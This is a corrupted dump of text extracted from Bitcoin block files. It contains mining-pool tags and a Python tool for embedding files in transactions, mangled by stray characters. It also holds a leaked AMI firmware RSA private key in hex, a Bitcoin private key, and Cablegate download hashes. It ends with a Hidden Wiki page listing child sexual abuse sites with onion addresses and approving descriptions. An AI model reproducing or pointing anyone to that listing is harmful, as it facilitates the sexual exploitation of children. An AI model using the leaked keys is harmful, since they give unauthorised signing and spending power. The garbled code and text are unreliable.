/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/HHTT/drop it from 7,000 feet/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
File: blk00040.txt
/HHTT/drop it from 7,000 feet/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/HHTT/and light it on fire/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
hi from poolserverj
hi from poolserverj
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
/P2SH/BIP16/slush/R,
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
hi from poolserverj
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
File: blk00041.txt
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
,/HHTT/then railgun my corpse straight down`/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
File: blk00042.txt
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
,/HHTT/then railgun my corpse straight down`/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/mtred/stratum+vardiff/
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/mtred/stratum+vardiff/
/mtred/stratum+vardiff/
/P2SH/BIP16/slush/R,
/mtred/stratum+vardiff/
/mtred/stratum+vardiff/
/mtred/stratum+vardiff/
File: blk00043.txt
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
File: blk00044.txt
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
at/SockThing/Stratum
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
8c/SockThing/Stratum
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
^U/SockThing/Stratum
/P2SH/BIP16/slush/R,
File: blk00045.txt
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
,/HHTT/then railgun my corpse straight down`/
File: blk00046.txt
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
File: blk00047.txt
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
File: blk00048.txt
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/SockThing/bitparking
)/SockThing/HHTT/I am a pretty princess
/SockThing/HHTT/covered in mud and blood
/SockThing/HHTT/water with stuff in it
!_=/SockThing/HHTT/like everything else that wiggles or jiggles
/SockThing/HHTT/came into the world naked, wet and screaming
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/P2SH/BIP16/slush/R,
/SockThing/HHTT/Finders keepers 5KiZAcvsv74grwmZMmyuvquQKBPV8kwuwZpgKrzkf8w4KNH96q2
-/SockThing/HHTT/see no reason to operate otherwise since
/SockThing/HHTT/screaming might not be your way
"""3""33"""3"33333D"
"wD"wU"fD3wD3fU3wU3w
f3"3D33DD3D3DD"DU3DU
3UfDDDUDDUUDDDUUDUDU
UUUUfDDwDDfUDwUDfUUw
UUwfDffUwfUDUfUUfDUw
UffUwwfffwfffwfwwfff
/SockThing/HHTT/but silence will never be mine
/SockThing/HHTT/until I am dead
/SockThing/HHTT/but the smell will also give that away
/SockThing/HHTT/gather all my things
/SockThing/HHTT/load them in a big boat
/SockThing/HHTT/airlift that to Kansas
/SockThing/HHTT/drop it from 7,000 feet
/P2SH/BIP16/slush/R,
/SockThing/HHTT/and light it on fire
{/SockThing/HHTT/then railgun my corpse straight down
?/SockThing/HHTT/into the fire at 0.1c
/SockThing/HHTT/and call the crater the world.s biggest asshole
/SockThing/HHTT/charge 1 BTC per visit
Triplemining.com-stratum
/P2SH/BIP16/slush/R,
eco@ozco.in-non-mm /P2SH/
: w/SockThing/bitparking
/SockThing/bitparking
/SockThing/bitparking
/SockThing/bitparking
File: blk00049.txt
Triplemining.com-stratum
File: blk00050.txt
!Twenty byte digest.
File: blk00051.txt
g]/SockThing/HHTT/(.
Unicode in Blockchain
./SockThing/HHTT/o()xxxx[{::::::::::::::::::::::::::::::::::>
\g/SockThing/HHTT/whoops
/SockThing/HHTT/Blue red
N/SockThing/HHTT/This cat is very angry
File: blk00052.txt
Hi from 50BTC.com 10
# File insertion tool for Bitcoin
# ARequires git://github.com/jgarzik/python-bitcoinrpc.git
# (c) 2A013 Satoshi Nakamoto All Rights Reserved
# UNAUTHORIZED DUPLICAS
QATION AND/OR USAGE OF THIS PROGRAM IS PROHIBITED BY US AND INTERNAATIONAL COPYRIGHT LAW
from binascii import crc32,hexlifyS
from decimal import Decimal
if len(sys.argv) < 5:
Usage: %s <file> <dest addr> <dest amount> {<fee-peAr-kb>}
Set BTCRPCURL=http://user:pass@localhost:portnum""" % sysS
QA.argv[0], file=sys.stderr)
return unhexlify(str.encode('utf8'))
proxy = Ajsonrpc.ServiceProxy(os.environ['BTCRPCURL'])
unspent = list(proxy.listunspent())
random.shuffleA(unspent)
for tx in unspent:
A total += tx['amount']
r.append(tx)
if total >=S
if total < value:
return NAone
return (r, total)
return bytes([n])
elif n < 0xffff:
QAturn b'\xfd' + struct.pack('<H',n)
assert FalseA
def packtxin(prevout, scriptSig, seq=0xffffffff):
return prAevout[0][::-1] + struct.pack('<L',prevout[1]) + varint(len(scriptS
QASig)) + scriptSig + struct.pack('<L', seq)
def packtxout(value, AscriptPubKey):
return struct.pack('<Q',int(value*COIN)) + varAint(len(scriptPubKey)) + scriptPubKey
def packtx(txins, txouts, S
r = b'\x01\x00\x00\x00' # version
r += varinAt(len(txins))
for txin in txins:
r += packtxin((unheAxstr(txin['txid']),txin['vout']), b'')
r += varint(len(txoutS
for (value, scriptPubKey) in txouts:
r += packtxAout(value, scriptPubKey)
r += struct.pack('<L', locktime)
OP_CHECKSIG = b'\xac'
OP_CHECKMULTISIG = b'\xae'
QAUSHDATA1 = b'\x4c'
OP_HASH160 = b'\xa9'
OP_EQUALAVERIFY = b'\x88'
assert len(data) < OP_PUASHDATA1[0]
return bytes([len(data)]) + data
QA assert 0 < n <= 16
return bytes([0x51 + n-1])
digits58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefAghijkmnopqrstuvwxyz'
QA if c not in digits58:
raise ValueError
An += digits58.index(c)
A h = '0' + h
if c == digits58[0]:
QA h = '00' + h
return uAnhexstr(h)[1:-4] # skip version and checksum
def checkmultisig_sAcriptPubKey_dump(fd):
data = fd.read(65*3)
QA return None
chunk = data[0:65]
data = data[65:]
if Alen(chunk) < 33:
chunk += b'\x00'*(33-len(chunk))
QA elif len(chunk) < 65:
chunk += b'\x00'*(65-len(cAhunk))
r += pushdata(chunk)
r += pusAhint(n) + OP_CHECKMULTISIG
(txins, change) = selecS
data = open(sys.argv[1],'rb').read()
datAa = struct.pack('<L', len(data)) + struct.pack('<L', crc32(data))A + data
fd = io.BytesIO(data)
scriptPubKey = cheS
QAckmultisig_scriptPubKey_dump(fd)
if scriptPubKey is None:
value = Decimal(1/COIN)
txouts.append((valueA, scriptPubKey))
QADecimal(sys.argv[3])
txouts.append((out_valueA, OP_DUP + OP_HASH160 + pushdata(addr2bytes(sys.argv[2])) + OP_EQAUALVERIFY + OP_CHECKSIG))
change_addr = proxy.geS
txouts.append([change, OP_DUP + OP_HASH160 + pushdaAta(addr2bytes(change_addr)) + OP_EQUALVERIFY + OP_CHECKSIG])
tx A= packtx(txins, txouts)
signed_tx = proxy.signrawtransaction(hexlS
QAify(tx).decode('utf8'))
FEEPERKB = Decimal(0.001)
FEEPEARKB = Decimal(sys.argv[4])
fee = DeciAmal(len(signed_tx['hex'])/1000) * FEEPERKB
tx = packtx(txins, txouts)
signed_tx = proxy.signArawtransaction(hexlify(tx).decode('utf8'))
assert signed_tx['compAlete']
print('Size: %d Fee: %2.8f' % (len(signed_tx['hex'])/2,fS
QAee),file=sys.stderr)
print(proxy.sendrawtransactioAn(signed_tx['hex']))
print(signed_tx)
y8#!/usr/bin/python3
# Requires git://gAithub.com/jgarzik/python-bitcoinrpc.git
# (c) 2013 Satoshi NakaAmoto All Rights Reserved
# UNAUTHORIZED DUPLICATION AND/OR USAGS
QAE OF THIS PROGRAM IS PROHIBITED BY US AND INTERNATIONAL COPYRIGHTA LAW
from binaAscii import crc32,hexlify,unhexlify
if len(sys.argv) != 2:
Set BTCRPCURL=http://user:pass@locAalhost:portnum""" % sys.argv[0], file=sys.stderr)
proxy = jsonrpc.ServiceProxy(os.environ['BTCRPCURL'])
tx = proxy.getrawtransaction(txid,1)
for tAxout in tx['vout'][0:-2]:
for op in txout['scriptPubKey']['asAm'].split(' '):
if not op.startswith('OP_') and len(op) >S
data += unhexlify(op.encode('utf8'))
length = Astruct.unpack('<L', data[0:4])[0]
checksum = struct.unpack('<L', Adata[4:8])[0]
data = data[8:8+length]
if checksum != crc32(data)S
print('Checksum mismatch; expected %d but calculated %d' % A(checksum, crc32(data)),
file=sys.stderr)
sys.stdout.buffer.write(data)
thttp://threatpost.com/en_us/blogs/ami-firmware-source-codAe-private-key-leaked-040513
30 82 04 A3 02 01 00 02 82 01 01 00 EAD 71 D6 3F 21 FF 0B 45 63 A4 3D 87 1D 22 44 8F C9 B5 84 08 29 5B S
QA59 DC 0F 30 D2 A9 4F 52 E1 F2 97 51 0B B5 95 D9 DB A9 78 D9 5B 76A 1E 96 8A C3 E2 AB 18 71 BC B0 1D 58 EC F2 C9 36 44 03 BA 05 A7 7A4 77 95 37 75 80 97 38 16 CC EC 38 96 47 1E 77 EE FD 1E 28 E1 60 S
QA27 8F 86 C0 01 8F B9 DA 66 BA E3 99 B1 1D 4B AC 2B 32 C8 7A CD F4A 5C FA 89 49 05 68 A0 89 D1 2A 57 1C 9B 7B E0 A1 9C 9B 9E 04 86 4A9 E9 59 75 67 EB 0F 72 CB 56 81 56 26 67 28 E0 9C 94 D4 31 E4 80 S
QA65 20 4E 9A AA FA 9D 42 5E 06 E5 B9 A5 A1 1F 10 38 32 75 2B 42 B1A 49 2F 0E 34 30 0F F9 32 D9 E3 9B 17 E8 94 34 37 B3 9F E6 C6 B3 1A4 6B F6 2D C8 68 51 A3 90 F9 BF F7 91 30 65 ED AF A1 D5 2B CE D6 S
QA74 25 DB 36 0A 33 F7 37 C0 CF BE CB 06 C7 F9 95 79 65 23 B4 0D AEA C8 52 F6 A4 25 DC 60 D5 74 A7 65 DE BB 1E E1 EF 3B 02 03 01 00 0A1 02 82 01 00 02 02 25 7D 71 37 2C 0C 3B DF 31 6F 5E CD 61 BB BE S
QAF4 07 18 33 E9 59 90 3A 9C AA 1B 7E 82 9A A0 A7 AB AA D2 B0 0A CBA 5D DA 9A 29 63 8D 62 03 ED CB 91 5B 95 3D 5D AB FC 8A E7 34 26 7AE 5A C8 61 B0 87 3E AA 5C C6 B9 FE 0D 73 BB EB 54 EB 33 27 77 27 S
QA91 57 DB A1 54 63 E1 45 E8 2D 30 89 B2 3C 38 E1 20 A0 01 39 C3 A2A 0B 3D 96 34 54 6D CE 3C B2 5E 6B AD 22 9D 49 F8 B9 FD 8D 5B 05 6A2 ED 64 B0 EF 55 A0 28 00 CD 57 CD 49 E7 FD A4 1A C1 04 C9 BE E8 S
QA32 21 C8 A8 08 8F 89 24 69 4B C9 F0 85 D6 2C F2 C9 B0 3F 0D 4B 38A 8C E5 84 FD 79 2B C0 68 90 D7 C5 5D F9 B9 13 D3 EE CD 43 21 C8 5A9 3D D0 39 4D BB 46 5E 0E F7 03 BE 02 88 D7 C4 58 90 A0 3A E4 87 S
QAB0 D7 04 3B 46 D3 E8 1E 8F 44 31 D6 79 55 EC 53 92 CD 21 3B 99 85A 42 60 0D 83 96 9D 56 08 64 A5 48 D1 CA 7E 35 CD C5 BB CE FB 7F AA1 02 81 81 00 F8 AF 7E 27 1D CA 29 BA DF 42 99 A8 1D 4B 5C E6 88 S
QADB 97 4F BD 1D E5 65 0F 63 18 96 8E D3 C3 86 DD 43 C1 D2 44 A3 BDA 45 2D B6 3B D1 FC 3A 5D EC 9F 9C 22 F7 9D CE 67 A0 DA CE DF 0D CA7 1A 14 91 CE 67 62 EC 58 AB 98 22 69 1F 66 86 9B 7A BB 62 40 E2 S
QADD 73 29 E4 3B E2 DC 2F 5C 34 3D D3 A3 7A 5E F9 86 64 BA 1B 79 93A BA D1 FE 2C 44 9C 51 56 F3 34 D0 8F 34 82 90 B2 1A 97 FA E2 39 3A7 C8 CB 02 81 81 00 F4 6D B4 70 F8 92 25 20 0A 74 42 84 03 7E 7D S
QAF9 E2 33 3A AB 29 2F CA 34 A0 3A 8A A2 44 38 90 40 CC 99 70 94 3CA 78 E6 35 54 A1 23 14 77 CD F1 C3 E6 DB A0 EE E9 20 D7 C2 83 F5 5AB C2 49 A4 4E 78 67 E7 91 C6 6E BB 1D 3C 11 80 ED 5E 47 8D E5 11 S
QA2A 89 F2 90 80 8A FF 2E 24 D3 34 94 02 CB 5F FE FF B2 0B 8C 09 83A 61 C3 DE E0 19 8B 93 52 84 94 04 E7 89 3B 27 C1 A5 47 6A 7B E6 8A0 F9 B0 55 51 02 81 81 00 E0 58 D9 93 0A 51 DE 11 A2 E6 1F 5E C5 S
QA86 BE 79 8F 4F A3 12 A1 86 BD F2 CC CD D6 59 C4 E2 0F CB B4 03 33A 70 B0 D1 92 A7 3D 14 E0 A4 90 4A 4B 7F 73 82 55 1D 53 B4 E8 51 FA9 F3 94 D0 86 24 E6 17 9F C0 2F 43 0E BF 46 D1 0C 4A F2 A0 4E D5 S
QA8B 04 99 8A D0 C2 DB 30 F6 41 B3 E7 D9 E3 9B 3F 39 84 E4 F7 70 A1A A0 2F B7 1F 69 F3 95 BC 73 ED 1D 88 36 82 18 00 89 1B 9C D3 C0 2A0 09 8A 5A 9A 13 BF 02 81 80 52 DC 71 E4 2E 50 14 E7 D4 C3 6E DD S
QA23 F6 18 AC C2 83 0D 6B 82 CD E1 A5 8F 7F E9 09 73 49 1D 95 EA 06A 46 44 EA 6F 2D D3 7C 7A 17 D3 53 7D EC 6C B5 F1 54 90 49 55 C9 EAE F6 1F 12 59 3D EF C6 6E 49 03 16 C7 07 38 C5 83 5C 87 B1 70 59 S
QA9F 7F BD 1F 07 9E C4 5F DF 3E FC 9C 9D 40 E0 C0 45 C3 A8 45 74 4DA 37 CE ED CC 11 C3 97 82 F1 6F 22 F5 30 DC AC C5 37 D9 95 6A FB 5A7 DC E2 DA 6C 4A DB D1 02 81 80 25 C0 FA 2D 19 3D 45 94 B6 25 CC S
QA95 AB A9 EA BD 3E 23 97 9F B1 F7 F4 CF FD 4E BA 06 F3 AB C3 C8 B7A 6D 6D 8D 1D 08 C9 2D 93 9D 9D 41 01 FE 9D 24 46 F9 1E 18 CC 0E 8AC 02 64 F1 78 BD B3 E2 A3 D6 03 38 90 02 E9 D0 91 76 B0 C6 B6 25 S
QA4D 4C F7 E8 85 CA 29 CD 77 92 3D EC 76 00 8C E1 8D E7 8D 9E 82 40A 4E EE DA BB A5 81 E0 73 BB 13 CE D2 D8 14 80 2A C5 65 96 68 E2 7!3 C5 CA 63 30 F2 67 7C 25
http://en.wikipedia.org/wiki/Illegal_prime
4 85650 78965 A73978 29309 84189 46942 86137 70744 20873 51357 92401 96520 73668A 69851 34010 47237 44696 87974 39926 11751 09737 77701 02744 7528S
QA0 49058 83138 40375 49709 98790 96539 55227 01171 21570 25974 666A99 32402 26834 59661 96060 34851 74249 77358 46851 88556 74570 25A712 54749 99648 21941 84655 71008 41190 86259 71694 79707 99152 0S
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Hi from 50BTC.com 10
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sSEXWikileaks Cablegate Backup
cablegate-201012041811.7z
DoAwnload the following transactions with Satoshi Nakamoto's downloaAd tool which
can be found in transaction 6c53cd987119ef797d5adccdS
QA76241247988a0a5ef783572a9972e7371c5fb0cc
Free speech and free enAterprise! Thank you Satoshi!
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9e2b7fa59d0cd0e7810bd3971c367421e53S
QA48a8b734c2da516a920ae792e75e6
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QA74d9618585cca154c2730ec4554c4
03eaff1e6ceeb8c4c73f7946818c430f5bbA87a9ff2e951f123e8445de1163a97
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73a2b0574f1ead5240ce721ec485d0f2529S
QAb0c5d412fa48ea48446905d1c100f
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4595448695e4808ef84326dd2e622015b5fA8cb22bdba521101f10fe6135a0170
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QAadee59469de52a4765f25b668b71a
b28c5053222b5dea42dff791890ed890756A3da76cbab8e06e93ca22d250e747f
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QA81bed292b3182068316ad347c55b2
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847209fc2e1912253783aca0bcf2f40ea5aS
QA936a3f7cbdaa31ec0a41817ea9f2c
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QA80afcd1840b41e0717c9cc9260fdd
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QA4c3ec259c74dace6fd088b44cef8c
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2663cfa9cf4c03c609c593c3e91fede7029!123dd42d25639d38a6cf50ab4cd44
From The Hidden Wiki
Jump to: navigation <#cAolumn-one>, search <#searchInput>
* 1 Non-Nude A<#Non-Nude>
o 1.1 WWW <#WWW>
+ 1.1.1 Links/PortalS
QAs <#Links.2FPortals>
+ 1.1.2 Image Boards/Forums <#ImagAe_Boards.2FForums>
+ 1.1.3 Defunct Websites <#Defunct_WAebsites>
* 2 Nude or Hardcore <#Nude_or_Hardcore>
+ 2.1.1 Web Hidden Services <#Web_Hidden_ServAices>
# 2.1.1.1 Sites with Access Restrictions
A <#Sites_with_Access_Restrictions>
+ 2.1.2 DS
QAefunct Web Hidden Services <#Defunct_Web_Hidden_Services>
oA 2.2 WWW <#WWW_2>
+ 2.2.1 Defunct Websites <#Defunct_WeAbsites_2>
o 2.3 Rsync <#Rsync>
* 3 Additional informationS
QA <#Additional_information>
This page derives from the content ofA the Hard Candy
</wiki/index.php/Hard_Candy> page and will requirAe extensive
modification. For the purpose of this wiki page, defiS
to US federal law will be used; jailbait thus rAefers to things that will
get you sent to jail.
It is important Athat you stay as safe as possible when browsing these
QAys use the latest version of the official Tor Browser Bundle.
NevAer install or run any software or plugins linked to. Stay anonymoAus
at all times and never reveal information about yourself.
QA [edit </wiki/index.php?title=Jailbait&action=edit§ion=1>] NAon-Nude
The following sites are *not* child-porn sites but sitesA with non-nude
models under 18. Please *do not* post child-porn hS
QAere because some may
not like nude or hardcore material. There arAe other places in the
section below. The sites listed here do notA tolerate child porn in any
form, although their images have beenS
QA rated child porn in some
jurisdictions, so they can *not* be regAarded *legal* everywhere.
[edit </wiki/index.php?title=JaAilbait&action=edit§ion=2>] WWW
[edit </wiki/index.pS
QAhp?title=Jailbait&action=edit§ion=3>]
Links/Portals
APlease add working links
[edit </wiki/index.php?title=JAailbait&action=edit§ion=4>]
Image Boards/Forums
QAJailbaits TV - Official Jailbats Forum <http://www.jailbaits.tv/>A -
Tons of nonude models galleries/videos/siterips and rare sAets from
CandyDoll, TinyModel, WALS, Viso D'Angelo, DolceModzS
TTL Models, DJ Models, etc. Includes candids/stAickams/blackmail
webcam videos. Some private areas for VIP meAmbers. Hosted in Ukraine.
QA.fantasia-models.org/> - Lots of full
free NN models gallerieAs (11yo ~ 17yo).
* 18+ The Only Hot! <http://chan.onlyhot.biz/>A - Oddly named image
board with a focus on non nude models anS
QAd lolicon and shotacon.
Hosted in Netherlands.
* Anarchy NaAtion <http://anarchynation.org/index.php?board=44.0> - NN
JB Athread, heavily moderated, legal in most countries. (formerly
* ILoveLittleBitches <http://ilovelittlebitchAes.com/> - Ostensibly 18+
for HC/SC/Nude. Lots of on-topic JBA content. Admin Posts on Anarchy
Nation now. Hosted in USA.
QA * Ninfetas Novinhas <http://www.ninfetas-novinhas.com/> - BrazilAian
live webcams portal. Teens, jailbaits and couples. Legal Ain most
* Terminal-B <http://terminal-b.org/jb/>S
* Startits Chan <http://starstits.com/jb/>
* JailbaitGalleryA.com <http://jailbaitgallery.com/> - You already
visited thisA site at least once ;)
* Jailbaited.com <http://www.jailbaited.S
QAcom> - Huge collection of NN
Jailbait Pictures
* Jaybee.namAe <http://www.jblover.com/> - A lot of JB cam videos.
* FantasyA Preteens.com <http://fantasypreteens.com/> - The original
QAntasia Models site
* Prim Teens.com <http://primteens.com> - FaAntasia models's sister
site. contains several videos.
* SweAet Babies.com <http://sweet-babies.com/> - Another fantasia
QAodels's sister site.
* Model Mya <http://modelmya.com/> - FantaAsia Models site dedicated to
* Loveliest Models <Ahttp://loveliestmodels.com/> - Another set of
Jailbait modelsS
QA from Fantasia Models
[edit </wiki/index.php?title=JaiAlbait&action=edit§ion=5>]
Defunct Websites
* MasteArChan <http://masterchan.net/b/> - seemingly a lot of JB DOWN
* 11-15 Forum <http://forum.11-15.net/> - FreAe Forum NN Models/PTSC
sets and videos. No signup needed.
A [edit </wiki/index.php?title=Jailbait&action=edit§ion=6>]S
[edit </wiki/index.php?title=JailbaAit&action=edit§ion=7>] Tor
</wiki/index.php/Tor>
A [edit </wiki/index.php?title=Jailbait&action=edit§ion=8>]S
Web Hidden Services
Please consider contributing to theA community by starting your own
jailbait site </wiki/index.php/YoAur_Own_Jailbait_Site> or at least
offering advice on that page toS
QA those who would like to.
If you find a link marked as down for Amore than a week, best to move it
to Defunct Web Hidden Services
A</wiki/index.php/Jailbait#Defunct_Web_Hidden_Services> (2012-10-0S
links are down, giving a "Problem loading page error" (201A2-11-16) Just
remove the .to extension
* All natural spanking!A <http://7haz75ietrhjds3j.onion/main.php> -
Boys and girls geS
* BoyVids 1.1 <http://x64n42mkjidmy2zr.onion/> -A Site dedicated to
boys of all ages, primarily focused on vidAeos but also has sections
for images and chat.
<http://yl2wafirpac6rtqz.onion/category.php?id=4>A - Fast imageboard,
new board script. Content tends to be youAnger than true JB (12-13
yo). (25/05/2012 Crippled with unsafS
QAe web links and spam.)
* LolitaCity <http://m3hjrfh4hlqc67gb.onAion/>. Good, fast image
collection with age tagging allowing Afor JB search. A lot of JB
BD/LS/etc sets. Very good!
QAonPedo Video Archive (OPVA2) <http://opva2pilsncvtwmh.onion/>
*A PedoBoard <http://jkpos24pl2r3urlw.onion/> (more info
</wikiA/index.php/PedoBoard>) - A CP site with female and male JB
QAards. Says that this is a warning
* TorGallery! <http://josmuqyAlkb72dy3d.onion/> - New Gallery Site
created 6/6/12 with JB/CAP Pics/Videos/Stories.
* BoyVids III <http://fykilh353zfwtrue.oS
QAnion/bv3/> - Like Boyvids 1
and 2, but is 3 and with differenAt content.
* Cam-a-lot <http://3bqvjtimcrvz4ajo.onion> - WebcamAs
* Family Fun & Forbidden Fruit <http://4pms4sejprryckox.onionS
forum with semi-active users.(9/11/2012 Shows a proAblem loading page)
[edit </wiki/index.php?title=JailAbait&action=edit§ion=9>]
Sites with Access RestrictS
* ~Amatores Puerorum~ <http://ssx46oqheovkkwda.onion> - AA CP
site/Society with all types of CP/JB - Registration requiAred.
[edit </wiki/index.php?title=Jailbait&action=editS
Defunct Web Hidden Services
* JB Lover <Ahttp://xqz3u5drneuzhaeo.onion/users/jbloverindex/> - JB -
MosAtly Models. ((DOWN! 3/14/2013, they give a warning about what theS
page is, and to not return, it logs the IP of who is warned)A.
* 10-16 Jailbait Club <http://5caqxjcvwzhl2c4h.onion/> - HugeA
collection of JB pictures and videos - Down for a while now,S
saw it up (9th August 2011)
* CPlanet <http://w7b5kmAjonf4h6fea.onion/> - has JB NN, nude and HC
* TorChaAn <http://hkfjbmo2rdjun56b.onion/> - Was the best place on Tor
* mjbOnion <http://xqz3u5drneuzhaeo.onion/usersA/mjb/> - The Male
Jailbait Onion. Dedicated to the beauty of Ayoung teenage boys. Has
galleries, links and an imageboard. NS
QAothing new posted since June,
* TB-Chan <http://tbchaAnnrvcijxdar.onion/> - Gallery, Like the new
TSCHAN, needs morAe visitors to get underway.
* OnionIB-Jailbait <http://b4yrk2nkS
QAydqfpzqm.onion/jb/> (more info
</wiki/index.php/OnionIB>) - TAhe board is dead, admin not around.
* The MJBLeaks <http://archA4jgjcyt55gb2.onion/mjbleaks/> - A massive
collection of male S
* NymPhs <http://46dspvfldjiqzsre.onion/nymphs/iAndex.php?/> - Jailbait
gallery of nude/non-nude/hardcore imagAes. [Images don't Load]
* The Adolescent Male Museum <http://ggS
QA3ggre77kphc3cf.onion/> - Teen
males only. [Down]
* / /r/jaiAlbait <http://k6gsb4ibatcico35.onion/r/jailbait> - The
jailbaAit section on the hidden reddit. Up/downvoting of content. [Down]S
* TSChan /jb <http://tsc6zladnge7kruz.onion/jb/> Active board Awith
active admin. Needs more content. MJB
<http://tsc6zlAadnge7kruz.onion/m> also available. (Down as of sept
* Tor Teenystrich Forum
<http://k22twwiyzzp562gb.onion/vieAwtopic.php?f=12&t=24> - German
board about paysex with young Aprostitutes, has a jailbait thread in
public section. (down 1S
* Underage Voyeurism Predator <http://btlkg7ckamjgussdA.onion/> -
Dedicated to underage voyeurism and indecent exposAure. Jailbait and
younger. (down 10-14-12)
QA://oqm66m6iyt6vxk7k.onion/> - Gallery/Group site,
updated daiAly with images. (9.12.2012 DOWN!!!)
* The Family Album
<httAp://utovvyhaflle76gh.onion/sTORage/FAM/index.html> - Site
QAuested of being moved to defunct if still unactive in Jan 2013.
A Old description: DOWN! If this is still down in January 2013, Aplease
move it to defunct section. (Old Description: ExclusivS
child sex material by the members. Mostly incest. VAery good
material! *as of 1/14/12 it claims to have been hackAed by CyPr0Z and
resides on sTORage. Beware, it might be a scS
QAam now! On 5/8/2012 it
shows 404 error. (5/13/2012 --- While Aabove link 404's, this one
appears to be good: sTORage DirectAory
<http://utovvyhaflle76gh.onion/sTORage/>) < This site is S
[edit </wiki/index.php?title=Jailbait&action=Aedit§ion=11>] WWW
Beware that while viewing these sites via ATor is more secure for
yourself than viewing them directly, it isS
